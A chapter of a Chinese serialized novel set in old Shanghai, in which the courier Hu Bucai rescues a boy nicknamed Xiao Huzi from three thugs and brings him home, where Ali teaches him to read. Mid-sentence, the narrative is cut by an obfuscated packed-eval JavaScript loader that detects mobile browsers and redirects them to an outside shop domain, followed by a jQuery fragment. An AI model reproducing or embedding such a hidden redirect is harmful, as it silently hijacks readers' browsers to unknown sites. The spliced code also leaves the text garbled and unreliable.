胡不才喝完那碗红枣粥，去账房取了昨日下午抄好的七封信，一封一封核对过收件人，装进一只半旧的牛皮公文袋里。九头蛇昨晚差了瘦竹竿来传话，说今早要去城西送一封加急的，让他跑一趟。胡不才把公文袋夹在腋下，从干货行后门出去，拐进弄堂里。
闸北的清晨是灰的。天还没彻底亮透，雾蒙蒙的，空气里一股煤炉子和湿墙根混出来的气味。他沿着弄堂往西走了两条街，拐上一座石板桥，桥下的河水黑乎乎的不见底，漂着一两片烂菜叶和一只翻了的木拖鞋。他过了桥，在桥东头一家早点铺子前停下来，摸出两个铜板买了一副烧饼夹油条，咬了一口，烫得嘶嘶吸气。
他嚼着饼往前走，耳朵里听见前面巷口有人在吵。不，不算吵，是有人在大声说话，另一个声音细细的，像只被踩了尾巴的小猫。胡不才本来不想管，他不是多管闲事的人，尤其是来了夜枭之后，更明白闲事管多了容易把自己搭进去。可他往前走了几步，那个细细的声音忽然拔高了喊了一声，又戛然而止，像是被什么东西捂住了嘴。
他停住了。
巷口摆着一只翻倒的竹筐，里面的青菜萝卜滚了一地。三个穿短褂的汉子围成一圈，背对着胡不才，堵得严严实实的。圈中间有人，看不见脸，只看见一截灰白色的衣角从人腿之间的缝隙里露出来，被踩了一脚，缩回去，又伸出来。
胡不才咬了一口烧饼。他想着这是上海滩，每天都有这种事，他管不过来，也不该管。但他又想着Ali端姜汤给他的时候那双干净的眼睛，想到她叠衣裳时候利索的手指，想到她说的"你在我这儿就是胡哥"。他咬完第二口烧饼，把剩下的半张用油纸包了塞回怀里，走过去拍了拍最外面那个汉子的肩膀。
"借过。"
那人回过头。一脸的横肉，眼白比眼仁多。他上下扫了一眼胡不才，穿灰布长衫，身形偏瘦，胳膊底下夹着个旧公文袋——一看就是跑腿的文弱书生。"干什么？"
"你们堵着我的路了。"胡不才说。
横肉脸嗤了一声。"绕道。"
胡不才没绕。他站在那儿，目光从横肉脸的肩头越过去，看见了圈中间那个人。是个半大的孩子，蜷在地上，灰白色的布衫沾了泥，一只鞋掉了，露出来的脚踝细得像竹筷子。他的脸仰着，正对着胡不才的方向——胡不才看清了他的脸。
那张脸生得极清秀。细眉长眼，鼻梁窄窄的，嘴唇薄而红，像女孩子。额头正中央有一颗米粒大小的痣，鲜红色，嵌在白净的皮肤上，像谁在眉心点了一笔朱砂。他看见胡不才在看他，那双眼睛忽然亮了一下，嘴唇动了动，没出声。
"我说——"横肉脸伸手来推胡不才的胸口。手才伸到一半，胡不才忽然侧了一下身，公文袋从腋下抽出来横挡了一下，那汉子的手打在牛皮纸袋上，发出一声闷响。胡不才退了一步，攥着公文袋，胸口微微起伏。
"我不惹事，"他说，"你们松开那个孩子，我就走。"
三个汉子互相看了一眼。另一个脸上带刀疤的往前迈了一步，比横肉脸还高了半个头。"你他妈谁啊？这小孩偷了我们老大的钱，我们逮他回去交差，跟你有什么关系？"
胡不才的目光又落回那孩子身上。孩子缩在地上，嘴唇动了动，声音细细地从喉咙里挤出来。"我没偷……我就是路过……他摔了一跤钱掉出来了，我帮他捡……"
"闭嘴！"第三个汉子一脚踢过去，脚尖擦着孩子的肩膀过去，没踢实，但孩子整个人瑟缩了一下，像被风刮倒的草。
胡不才看了三秒钟。他说不清为什么，但那个孩子额头上的痣在灰蒙蒙的晨光里红得像一滴还没干的血。他想起劣狗的手掐在他脖子上的时候他脑子里也有一片红。一样的。
"我说了，"胡不才把公文袋换到左手，右手从怀里摸出一样东西——不是枪，他没有枪。是一只铜哨，老周以前车上挂的那种，他离开霞飞路那天从梧桐树底下捡的，一直揣在身上。他把铜哨举到嘴边，吹了三下。哨声尖利得像刀划玻璃，在巷子里来回撞了三遍。
三个汉子被他这冷不丁的一嗓子震得都愣了。哨声还没散尽，巷口外面传来脚步声——不止一个人。瘦竹竿带着两个夜枭的兄弟正好路过。他们看见胡不才，脚步顿了一下。
"Spike？你在这儿干嘛？"
三个汉子的脸色变了。横肉脸认出了瘦竹竿——干货行这一带混的没有不认识夜枭的人。他退了两步，碰了碰刀疤的胳膊。三个人对视一眼，骂了一句脏话，松开那个孩子，转身从巷子另一头走了。跑得很快，两下就不见了人影。
瘦竹竿走过来看了一眼地上的孩子。"Spike，你管这闲事干嘛？"
胡不才把铜哨收回去，蹲下来。孩子还缩在地上，一只脚光着，白生生的脚趾上沾了泥。他伸出手，悬在半空停了一下。"能站起来吗？"
孩子抬眼看他。那双眼睛是浅褐色的，像泡在清水里的蜜蜡，瞳孔的边沿有一圈极淡的琥珀色。他的嘴唇哆嗦着，慢慢伸出手，搭上了胡不才的手腕。手指细得可怜，像四根嫩柳条。
胡不才把他拉起来。孩子站起来比他矮了将近一个头，灰白色布衫上全是泥印子，一只鞋没了，袖口破了一道口子，露出下面一截细白的手臂。额头上那颗朱砂痣在雾散了一些的晨光里愈发鲜艳。他站定了，低头拍了拍身上的土，然后抬起头看着胡不才。
"谢谢。"声音细细的，还带着刚才那点颤，但已经比刚才稳了几分。他朝胡不才笑了一下——那张清秀的脸笑起来的模样格外招人，眉眼弯弯的，嘴角有两个若有若无的小酒窝。
"你叫什么？"胡不才问他。
"他们都叫我小胡子。"孩子说，低头摸了摸自己光溜溜的下巴，又抬起来，浅褐色的眼睛里带着一点羞赧的笑意，"我没胡子。他们说我长得像女孩子，叫我小胡子是因为他们说'小丫头'太难听了。"
胡不才忍不住弯了一下嘴角。他上下打量了这孩子一眼——灰白的布衫太薄了，这个天气穿了跟没穿差不多，脚上只剩一只布鞋，鞋底磨得快透了。"住哪儿？"
小胡子摇头。"没地方住。"
"家里人呢？"
又摇头。"去年没了。"
胡不才沉默了一下。他把公文袋夹回腋下，从怀里掏出那半张用油纸包着的烧饼，递过去。小胡子接过去的时候两只手捧着，像捧着什么易碎的东西。他没急着吃，先低头闻了一下，然后才小口小口地咬，腮帮子一鼓一鼓的，像只小仓鼠。
瘦竹竿在旁边站着看了半晌，挠了挠头。"Spike，你到底走不走？九哥还等着信送呢。"
"走。"胡不才拍了拍小胡子的肩膀，"跟着我。你先吃完，吃完了我带你去干活。"
小胡子咬着烧饼抬起头，琥珀色的眼睛里亮了一下。"真的？"
"真的。但我这儿的活可能不那么好干。你怕不怕？"
小胡子把最后一口烧饼塞进嘴里，用力嚼了两下咽下去，挺了挺他那细瘦的胸脯。"我什么苦都吃过了，不怕。"
胡不才看着他。这孩子的眼睛太亮了，亮得让他想起Ali，又比Ali多了点什么——多了层他暂时说不上来的东西。像一颗包在薄纸里的火种，你看着它的时候觉得它只是亮，可你走远了再回头，说不定它已经燎着了整片荒原。
"走吧。"胡不才把公文袋夹稳了，朝巷口走。小胡子跟上来，光着一只脚踩在青石板上啪嗒啪嗒响。瘦竹竿在后面落后两步，跟另一个兄弟嘀咕了一句什么，胡不才没听清。
他带着小胡子去把信送了。城西德兴商行，一个半死不活的绸缎铺子，掌柜接信的时候眼皮都没抬，说"放桌上"。胡不才放下信，又接了掌柜递过来的一封回函，揣进公文袋里。小胡子一直跟在后面半步远，光脚踮着走路，尽量不发出声音，像一只刚学走路的猫。
回去的路上经过一家卖布鞋的地摊，胡不才停下来，从怀里摸出几个铜板，买了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899462|212914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一双最便宜的灰布鞋。他弯腰递到小胡子面前。"穿上。别光着脚跑。"
小胡子接过去的时候愣了一下。他看着那双鞋，又看了看胡不才，忽然蹲下去弯腰穿鞋，穿好了站起来。他站起来的时候胡不才才发现这小子的头发其实挺长的，都披到肩膀了，只是乱糟糟的打了结。他想着回去得让Ali帮忙找把梳子。
"胡哥。"小胡子叫他。他刚才听瘦竹竿叫胡不才Spike，但他没跟那个叫。他叫胡哥。跟Ali一样，两个字，短促又自然。
胡不才看了他一眼。想说"你怎么知道我叫胡哥"，又没问。也许这孩子的眼睛就是能看清楚很多别人看不清的东西。
"嗯。"
"以后我跟着你干活，管饭吃就行。"
"管饭。"胡不才说，"别的我也管不了。"
小胡子咧嘴笑了一下。那张清秀的脸在午前的日光里像一朵刚打开的栀子，白生生的，眉眼之间那颗朱砂痣红得愈发分明。他快步跟上胡不才，灰布鞋踩在石板地上终于有了稳稳的声响。
回到干货行，胡不才把他带到自己那间小屋，让他先在床上坐着。"我下午去九哥那边有事，你待在这儿别乱跑。饿了找隔壁——"他指了指Ali那面墙，"叫Ali姐姐，她给你吃的。"
小胡子坐在床沿上，两只手规规矩矩地放在膝盖上，点了点头。
胡不才推门出去的时候回头看了一眼。小胡子坐在那道从窗户漏进来的光里，侧着脸，额头上的痣在光线下像一颗收拢了的小小太阳。他忽然有一种很奇怪的直觉——这个孩子不应该出现在闸北的街头巷尾。他应该坐在某个安静的书房里，面前摆着一盏茶一沓纸，慢慢地写着什么别人看不懂的东西。
他关上门，把这直觉压下去，去了九头蛇的屋子。
下午抄信的时候他有一瞬走了神。笔尖在纸上顿出了一个墨点。他看着那个墨点，忽然想起小胡子那双琥珀色的眼睛——那里面有一种他见过但说不清的东西。那种眼神他在劣狗的枯井一样的眼睛里找不到，在九头蛇的扇子一样合拢的眼尾里找不到。那眼神像一棵从石头缝里长出来的草，看着软，根却扎得比谁都深。
他低头把墨点描成了一片竹叶，继续往下抄。
傍晚回到小屋，推开门的时候小胡子不在床上。胡不才心里咯噔了一下，正要转身去找，听见隔壁Ali的屋里传来说话声。他走过去，Ali的门半开着，她坐在书桌前面，小胡子搬了张小凳子坐在她旁边，手里捧着一本书——不是电报底稿，是一本薄薄的旧书，封面上印着《千家诗》。Ali在教他认字。
"这个字念'锄'，锄禾日当午的锄。"Ali指着书页，声音温和得不像她平时抄电报的样子。
小胡子跟着念了一遍，然后抬起头，看见胡不才站在门口，又笑了。
"胡哥！Ali姐姐教我认字。"
胡不才靠在门框上，看着屋里这一大一小。Ali的铅笔搁在桌上，窗外的光把她的侧脸照得柔柔的。小胡子捧着书本的手指细瘦干净，额头上那颗朱砂痣在傍晚的光线里像一颗熟透了的红豆。
"认吧。"他说，"认完了出来吃饭。"
他转身往灶间走。身后传来小胡子的声音，细细的，念着下一句诗。
"谁知盘中餐，粒粒皆辛苦——"
胡不才的脚步顿了一拍。他忽然想起自己二十岁那年站在霞飞路上，抱着一摞报纸，脚下有一滩老周的血渗进柏油路缝里。那时候他以为这辈子已经看过最苦的苦了。
他不知道三年后、五年后、十年后，这个坐在Ali旁边捧着《千家诗》念"粒粒皆辛苦"的孩子，会用"观音"做代号，把整个南京城的棋局掀翻过来。
但那是很久以后的事了。
此刻他只听见灶间的火烧得噼啪响，锅里的水快开了。他把米倒进去，又想了想，从碗柜里摸出两颗红枣，丢进锅里。
水汽升起来，糊住了窗户。